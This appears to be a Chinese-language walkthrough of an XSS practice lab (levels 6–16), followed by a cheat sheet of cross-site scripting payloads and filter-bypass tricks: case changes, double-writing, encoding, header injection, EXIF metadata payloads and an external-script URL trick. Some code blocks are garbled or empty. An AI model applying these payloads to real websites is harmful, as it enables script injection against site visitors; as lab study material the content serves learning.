xss娱乐靶场
利用script标签执行js
1 | <script>alert(1)</script> |
字符串用" ’ 包裹都行
采用on事件方法
on事件不用单引号或双引号也可以触发,但是必须闭合标签内的引号
1 | <onclick=alert(1)> =>点击就会触发 |
很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机,例如:
1 | <img src = "javascript:alert(‘xss‘);"> |
这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)
采用a标签来做到xss
1 | <a href="javascript:alert(1)" > |
假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:
1 | <img src= "java script:alert(‘xss‘);" width=100> |
这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略
而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。
像
1 | <img src= "javascript: alert(/xss/); width=100> |
同样能绕过
exif xss
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
将XSS写到Exif里(PowerExif)exif是PHP拓展,如果要用exif_read_data函数要记得开启拓展。
一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗
具体实现使用kali下的exiftool工具
命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=’ “>’ brute.jpeg
flash xss
第六关
第六关script替换成scr_ipt, on替换成o_n,但是</script>没有替换,所以尝试大小写替换。
第七关
尝试javascript:alert(1)" > 发现script被过滤
尝试双写发现可以哎,说明只用了一次过滤,可以绕过
所以构造可以触发的xss
-
"/><scrscriptipt>alert(1)</scrscriptipt>
1
2
3
4
5

### 第八关
Javascript:伪协议后面可以使用URL编码。
如:click me可成功执行弹窗。
可用img就不行:
因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
click me
1 |
|
第九关
和上一关差不多只是加了一个url检测,如果url没有http则替换成非法字符串,用注释绕过
第十关
发现三个隐藏输入框哦
其他可行的payload:
1 | Keyword=aaa&t_sort=" type="text" onmouseover="alert(10) |
第十一关
referer字段中的内容会被填入这个隐藏按钮
1 | payload:Referer:" type="text" onclick="alert(1) |
第十二关
很明显这是头部User-Agent字段
User-Agent: " type=“text” onclick="alert(1)
第十三关
cookie的字段 不说了
第十四关
exif xss
查看源码通过iframe标签引入了一个http://exofvoewer.org, 结合乌云爆出的
exif xss
第十五关
什么?让我自己走出去。这里看来只能在url里面操作
发现src参数,查看源码发现把参数拼接到了最后一行输出,那这里应该是突破口了
这里估计使用ng-include,这个属性可以包含文件,默认是同域名的文件
那我们包含level1.php加上参数即可
payload:level15.php?src=‘level1.php?name=’
因为这里要访问上面的angular.min.js这个js文件,才能进行包含,虚拟环境里面无法访问那个js,因为需要fanqiang才能访问,根本没法实现,所以我找了外网的一样的xss挑战进行测试
成功包含level1弹窗
第十六关
过滤空格,script,/,使用%0d %0a做分割符
payload:
1 | /level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)> |
总结
xss绕过方法
大小写绕过
<Script>alert(1)</Script>
双写绕过
<scrscriptipt>alert(1)</scrscriptipt>
替换绕过
1 | 过滤 alert 用prompt,confirm,top['alert'](1)代替绕过 |
%00截断绕过
<a href=javascr%00ipt:alert(1)>xss</a>
编码绕过
1 | 实体编码 |
fromCharCode方法绕过
1 | String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59) |
javascript伪协议绕过
无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js
换行绕过正则匹配
1 | onmousedown |
注释符
1 | // 单行注释 |
闭合标签空格绕过
</style ><script>alert(1)</script>
@符号绕过url限制
例如:https://www.segmentfault.com@xss.haozi.me/j.js
其实访问的是@后面的内容
")逃逸函数后接分号
例:
1 | ");alert(1)// |
绕过转义限制
例:
1 | ") |
xss paylaod形式
1 | <script>alert(1)</script> |